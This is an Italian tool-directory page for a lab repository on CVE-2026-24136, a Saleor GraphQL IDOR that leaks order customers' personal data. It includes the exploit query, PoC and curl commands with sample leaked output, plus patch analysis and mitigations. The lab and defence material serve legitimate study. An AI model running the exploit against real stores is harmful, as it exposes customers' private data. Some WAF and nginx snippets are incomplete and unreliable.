Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-24136-Lab — CVE-2026-24136 | Laboratorio per sfruttare la vulnerabilità IDOR su Saleor GraphQL - la query order() non verifica l'autenticazione, espone tutti i PII (email, indirizzo, numero di telefono) dei clienti. Include ambiente Docker, script di seed data e PoC. CVSS 4.0: 8.7 ALTO. | Kitploit
Strumenti/GitHubGitHub/blankbire/cve-2026-24136-lab
Analisi delle VulnerabilitàSfruttamento di Applicazioni WebTest di Sicurezza delle APIPenetration TestingApprendimento e FormazioneLab e Pratica
GitHubblankbire/cve-2026-24136-lab

CVE-2026-24136-Lab

CVE-2026-24136 | Laboratorio per sfruttare la vulnerabilità IDOR su Saleor GraphQL - la query order() non verifica l'autenticazione, espone tutti i PII (email, indirizzo, numero di telefono) dei clienti. Include ambiente Docker, script di seed data e PoC. CVSS 4.0: 8.7 ALTO.

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Vedi Repository
12 mesi faNon ancora revisionato

CVE-2026-24136 - Saleor GraphQL IDOR / Esfiltrazione PII non autenticata

Panoramica

CampoDettaglio
CVE IDCVE-2026-24136
Tipo di vulnerabilitàIDOR - Autorizzazione bypassata tramite chiave controllata dall'utente (CWE-639)
SoftwarePiattaforma e-commerce Saleor
Versioni affette3.2.0 - 3.20.109 · 3.21.0 - 3.21.44 · 3.22.0 - 3.22.28
Versioni corrette3.20.110 · 3.21.45 · 3.22.29
CVSS 3.17.5 ALTO (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)
CVSS 4.08.7 ALTO
ImpattoUn attore non autenticato può leggere i PII (nome, indirizzo, telefono, email) di qualsiasi ordine
Autenticazione necessaria?No

Descrizione della vulnerabilità

Saleor fornisce un'API GraphQL per gestire gli ordini e-commerce. La query order(id: $id) consente di ottenere i dettagli di un ordine tramite ID globale. Nelle versioni affette, questa query non verifica se il chiamante ha il permesso di visualizzare quell'ordine.

Chiunque, anche un utente completamente anonimo senza account, può chiamare questa query e ottenere tutti i PII del cliente: email, nome completo, indirizzo di spedizione, numero di telefono, cronologia degli accessi.


Struttura del laboratorio

root@kitploit:~
cve-2026-24136-lab/
├── docker-compose.yml          # Ambiente di laboratorio (Saleor 3.20 + PostgreSQL + Redis)
├── setup_lab.ps1               # Script di avvio automatico (Windows PowerShell)
├── setup_lab.sh                # Script di avvio automatico (Linux / WSL / macOS)
├── README.md
└── scripts/
    ├── start_api.sh            # Wrapper di avvio: correzione bug wsgi + gunicorn
    ├── seed_data.py            # Crea account vittime e ordini con PII
    └── poc_cve_2026_24136.py   # PoC di sfruttamento

Avvio del laboratorio

Requisiti

  • Docker Desktop (Windows / macOS) o Docker Engine (Linux)
  • Python 3.8+
  • pip install requests

Windows (PowerShell)

root@kitploit:~
# Concedere i permessi di esecuzione se necessario
Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope Process

# Eseguire la configurazione automatica
.\setup_lab.ps1

Linux / WSL / macOS (Bash)

root@kitploit:~
chmod +x setup_lab.sh
./setup_lab.sh

Manualmente

root@kitploit:~
# 1. Avviare i container
docker compose up -d

# 2. Attendere che l'API sia pronta (~60-90 secondi)
#    Verificare: curl http://localhost:8000/health/

# 3. Creare un account amministratore
docker exec cve_saleor_api python manage.py shell -c \
  "from django.contrib.auth import get_user_model; U=get_user_model(); \
   U.objects.filter(email='[email protected]').exists() or \
   U.objects.create_superuser('[email protected]', 'admin')"

# 4. Popolare prodotti/canali
docker exec cve_saleor_api python manage.py populatedb

# 5. Creare i dati delle vittime (account + ordini con PII)
cd scripts
pip install requests
python seed_data.py

Endpoint dopo l'avvio:

ServizioURL

Utilizzo del PoC

root@kitploit:~
cd scripts

# Visualizzare la spiegazione tecnica
python poc_cve_2026_24136.py explain

# Sfruttare da un elenco già seminato (RACCOMANDATO - Saleor 3.x usa ID UUID)
python poc_cve_2026_24136.py file order_ids.json

# Sfruttare un singolo ordine tramite ID globale base64 diretto
python poc_cve_2026_24136.py single T3JkZXI6NDYwZDFlMjct...

# Enumerazione sequenziale (funziona solo con Saleor < 3.x che usa ID interi)
python poc_cve_2026_24136.py enumerate --start 1 --end 100

# Cambiare l'API di destinazione
python poc_cve_2026_24136.py --url http://192.168.1.100:8000/graphql/ file order_ids.json

# Salvare i risultati in JSON
python poc_cve_2026_24136.py file order_ids.json --output leaked_pii.json

Output di esempio

root@kitploit:~
[*] Caricati 6 ID ordine da order_ids.json
[*] Interrogazione senza autenticazione...

[*] Tentativo: T3JkZXI6NDYwZDFlMj... (Order:460d1e27-2b0b-4897-84c9-64b524b08d64)

╔══════════════════════════════════════════════════════════════╗
║  [PERDITA] ORDINE #41 -- BOZZA                               ║
╠══════════════════════════════════════════════════════════════╣
║  Email          : [email protected]                          ║
╠══════════════════════════════════════════════════════════════╣
║  Indirizzo fatturazione : Nguyen Van A                      ║
║    Via           : 123 Le Loi Street                         ║
║    Città/CAP     : HO CHI MINH CITY 700000                   ║
║    Paese         : Vietnam                                   ║
║    Telefono      : +84901234567                              ║
╚══════════════════════════════════════════════════════════════╝

[*] Ordini compromessi con successo: 6/6

Analisi della causa principale

1. Codifica dell'ID ordine

Saleor utilizza "Identificazione globale dell'oggetto" secondo lo standard Relay GraphQL. Ogni oggetto è identificato da un ID globale nella forma:

root@kitploit:~
base64("<TypeName>:<internal_id>")

Per gli ordini in Saleor 3.x:

root@kitploit:~
# internal_id è un UUID v4
internal_id = "460d1e27-2b0b-4897-84c9-64b524b08d64"
global_id   = base64("Order:" + internal_id)
            = "T3JkZXI6NDYwZDFlMjctMmIwYi00ODk3LTg0YzktNjRiNTI0YjA4ZDY0"

Nota: Saleor 2.x usava ID interi sequenziali (Order:1, Order:2, ...) quindi più facili da enumerare.
Saleor 3.x è passato a UUID, quindi l'attaccante deve ottenere l'UUID in altro modo (email di conferma ordine, URL trapelato, ecc.).

2. Codice che causa il difetto

File: saleor/graphql/order/resolvers.py

root@kitploit:~
# VERSIONE VULNERABILE (prima della patch)
def resolve_order(root, info, id):
    """Risolve l'ordine per ID – nessun controllo di autorizzazione."""
    _, pk = from_global_id_or_error(id, Order)
    return qs.filter(pk=pk).first()
    # Chiunque chiami ottiene i dati, nessun controllo su utente o sessione

File: saleor/graphql/order/schema.py

root@kitploit:~
# Definizione della query, nessuna dichiarazione di permessi
class OrderQueries:
    order = graphene.Field(
        Order,
        description="Cerca un ordine per ID.",
        id=graphene.Argument(graphene.ID, description="ID dell'ordine."),
    )

    def resolve_order(self, info, id):
        return resolvers.resolve_order(info, id)
        # Nessun @permission_required, nessun guard

3. Query GraphQL di sfruttamento

La query inviata non ha header Authorization:

root@kitploit:~
query ExploitOrder($id: ID!) {
  order(id: $id) {
    number
    status
    userEmail
    billingAddress {
      firstName
      lastName
      streetAddress1
      city
      postalCode
      phone
    }
    shippingAddress {
      firstName
      lastName
      phone
    }
    user {
      email
      firstName
      lastName
      lastLogin
      isActive
    }
  }
}
root@kitploit:~
# Invio con curl, nessun token necessario
curl -s http://localhost:8000/graphql/ \
  -H "Content-Type: application/json" \
  -d '{
    "query": "query { order(id: \"T3JkZXI6NDYwZDFlMj...\") { number userEmail billingAddress { phone } } }"
  }'

# Risposta (senza auth):
# {"data":{"order":{"number":"41","userEmail":"[email protected]","billingAddress":{"phone":"+84901234567"}}}}

4. Flusso dell'attacco

root@kitploit:~
Attaccante (anonimo)                     API GraphQL di Saleor
        |                                        |
        |── POST /graphql/ ─────────────────────>|
        |   Content-Type: application/json       |
        |   (NESSUN header Authorization)        |
        |   {"query":"query {                    |
        |     order(id: \"T3JkZXI6...\") {       |
        |       userEmail                        |
        |       billingAddress { phone }         |
        |     }                                  |
        |   }"}                                  |
        |                                        |
        |<── HTTP 200 OK ─────────────────────── |
        |   {"data": {"order": {                 |
        |     "userEmail": "[email protected]", |
        |     "billingAddress": {                |
        |       "phone": "+84901234567"          |
        |     }                                  |
        |   }}}                                  |
        |                                        |

Analisi della patch

Commit della patch principale

File: saleor/graphql/order/resolvers.py

root@kitploit:~
# VERSIONE CORRETTA (>= 3.20.110)
def resolve_order(root, info, id):
    """Risolve l'ordine per ID con controllo di autorizzazione completo."""
    _, pk = from_global_id_or_error(id, Order)
    order = qs.filter(pk=pk).first()

    # Guard 1: Staff e App possono visualizzare qualsiasi ordine
    if requestor_is_staff_member_or_app(info.context.user, info.context.app):
        return order

    # Guard 2: Utente non autenticato → restituisce None (nessun errore per evitare leak di esistenza)
    if not info.context.user or not info.context.user.is_authenticated:
        return None

    # Guard 3: Utente autenticato può vedere solo i propri ordini
    if order and order.user_id != info.context.user.pk:
        raise PermissionDenied(
            "Non hai il permesso di accedere a questo ordine."
        )

    return order

File: saleor/graphql/order/schema.py

root@kitploit:~
# Aggiunta annotazione per documentare i permessi richiesti
class OrderQueries:
    order = graphene.Field(
        Order,
        description=(
            "Cerca un ordine per ID. "
            "Richiede autenticazione. Gli utenti staff possono accedere a tutti gli ordini. "
            "Gli utenti normali possono accedere solo ai propri ordini."
        ),
        id=graphene.Argument(graphene.ID, required=True),
    )

Confronto prima e dopo la patch

root@kitploit:~
Richiesta: POST /graphql/
Corpo: { "query": "{ order(id: \"T3Jk...\") { userEmail } }" }
(Nessun header Authorization)

─────────────────────────────────────────────
PRIMA DELLA PATCH (≤ 3.20.109):
  HTTP 200 OK
  {"data": {"order": {"userEmail": "[email protected]"}}}
  → PII esposti

─────────────────────────────────────────────
DOPO LA PATCH (≥ 3.20.110):
  HTTP 200 OK
  {"data": {"order": null}}
  → Restituisce null, nessun errore (intenzionale – per impedire
    all'attaccante di sapere se l'ordine esiste o meno)
─────────────────────────────────────────────

Analisi tecnica approfondita

Perché la patch restituisce null invece di un errore?

Restituire null invece di PermissionDenied per richieste non autenticate è una scelta progettuale voluta:

  • Se restituisse PermissionDenied → l'attaccante saprebbe che l'ordine esiste (oracolo di esistenza)
  • Se restituisce null → l'attaccante non può distinguere tra "nessun permesso" e "non esiste"

Questa è una tecnica di controllo dell'esistenza a prova di timing applicata a livello GraphQL.

Perché l'utente autenticato usa ancora raise PermissionDenied?

Perché quando si è loggati, segnalare l'errore in modo chiaro aiuta il debug. L'oracolo di esistenza non è più un problema perché:

  1. Un utente autenticato di solito sa che i propri ordini esistono
  2. Un attaccante autenticato deve avere un account → può essere revocato, tracciato, limitato

Perché UUID è più difficile da enumerare rispetto agli ID interi?

root@kitploit:~
ID interi (Saleor 2.x):
  Order:1, Order:2, ..., Order:N
  → Servono O(N) richieste per enumerare N ordini
  → L'attaccante può conoscere il numero totale di ordini (tramite ricerca binaria)

UUID ID (Saleor 3.x):
  Order:460d1e27-2b0b-4897-84c9-64b524b08d64
  → Spazio di ricerca: 2^122 (UUID v4 ha 122 bit casuali)
  → Brute force in pratica impossibile
  → Ma gli ID vengono comunque divulgati tramite: email di conferma ordine, URL nella dashboard,
    risposte API, log → se l'attaccante ottiene un ID, può ancora sfruttarlo

Scomposizione del vettore CVSS

root@kitploit:~
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

AV:N  – Vettore d'attacco: Rete       (sfruttabile via internet)
AC:L  – Complessità d'attacco: Bassa  (nessuna condizione speciale)
PR:N  – Privilegi richiesti: Nessuno  (non serve account)
UI:N  – Interazione utente: Nessuna   (non serve interazione della vittima)
S:U   – Ambito: Invariato             (interessa solo l'API Saleor)
C:H   – Riservatezza: Alta            (tutti i PII esposti)
I:N   – Integrità: Nessuna            (non si possono modificare dati)
A:N   – Disponibilità: Nessuna        (nessun DoS)

Mitigazione e difesa

1. Applicare subito la patch (priorità massima)

root@kitploit:~
# Verificare la versione corrente
pip show saleor | grep Version

# Aggiornare alla versione corretta
pip install "saleor>=3.20.110"   # se si utilizza il ramo 3.20.x
pip install "saleor>=3.21.45"   # se si utilizza il ramo 3.21.x
pip install "saleor>=3.22.29"   # se si utilizza il ramo 3.22.x

2. Regola WAF temporanea (se non si può patchare subito)

Bloccare le query order() da utenti anonimi:

root@kitploit:~
# Nginx – bloccare query GraphQL order da richieste non autenticate
location /graphql/ {
    # Se non c'è header Authorization e il corpo contiene "order("
    if ($http_authorization = "") {
        # Bloccare le query con segni di sfruttamento
        # Nota: è una soluzione temporanea, non sostituisce la patch
    }
    proxy_pass http://saleor_api;
}

Con AWS WAF / CloudFront:

root@kitploit:~
{
  "Name": "BlockAnonymousOrderQuery",
  "Priority": 1,
  "Action": {"Block": {}},
  "Statement": {
    "AndStatement": {
      "Statements": [
        {
          "ByteMatchStatement": {
            "SearchString": "\"order\"",
            "FieldToMatch": {"Body": {}},
            "TextTransformations": [{"Priority": 0, "Type": "NONE"}],
            "PositionalConstraint": "CONTAINS"
          }
        },
        {
          "ByteMatchStatement": {
            "SearchString": "Authorization",
            "FieldToMatch": {"SingleHeader": {"Name": "authorization"}},
            "TextTransformations": [{"Priority": 0, "Type": "NONE"}],
            "PositionalConstraint": "EXACTLY",
            "NegatedStatement": true
          }
        }
      ]
    }
  }
}

3. Rate limiting

root@kitploit:~
# Limitare le richieste da un singolo IP senza autenticazione
limit_req_zone $binary_remote_addr zone=graphql_anon:10m rate=10r/m;

location /graphql/ {
    limit_req zone=graphql_anon burst=5 nodelay;
    proxy_pass http://saleor_api;
}

4. Monitoraggio / Rilevamento

Segni di sfruttamento nei log di accesso:

root@kitploit:~
# Rilevare: un IP che invia molte richieste GraphQL senza Authorization
grep 'POST /graphql/' access.log \
  | awk '$9 == 200 && !/Authorization/' \
  | awk '{print $1}' \
  | sort | uniq -c | sort -rn \
  | awk '$1 > 20'  # Avviso se > 20 richieste da un IP

# Rilevare pattern "order" nel corpo della richiesta senza auth
# (serve logging del corpo JSON)

Regola di allarme per Grafana / Datadog:

root@kitploit:~
alert: SaleorAnonOrderQuery
expr: |
  rate(nginx_http_requests_total{
    path="/graphql/",
    method="POST",
    has_auth_header="false"
  }[5m]) > 5
severity: warning
annotations:
  summary: "Potenziale tentativo di sfruttamento CVE-2026-24136"
  description: "Alto tasso di richieste POST GraphQL non autenticate"

Pulizia del laboratorio

root@kitploit:~
# Fermare e rimuovere container + volumi (elimina tutti i dati)
docker compose down -v

# Solo fermare i container (mantiene i dati)
docker compose stop

Riferimenti

  • Avviso di sicurezza di Saleor
  • OWASP - Broken Object Level Authorization (BOLA/IDOR)
  • CWE-639 - Authorization Bypass Through User-Controlled Key
  • Specifica di identificazione globale dell'oggetto Relay

Avvertenza: Questo laboratorio è solo a scopo di ricerca, studio e scrittura di report di sicurezza.
Non utilizzare il PoC su sistemi reali senza autorizzazione scritta.

Scarica lo strumento
API GraphQL di Saleorhttp://localhost:8000/graphql/
GraphQL Playgroundhttp://localhost:8000/graphql/
Dashboard di Saleorhttp://localhost:9000
Amministratore[email protected] / admin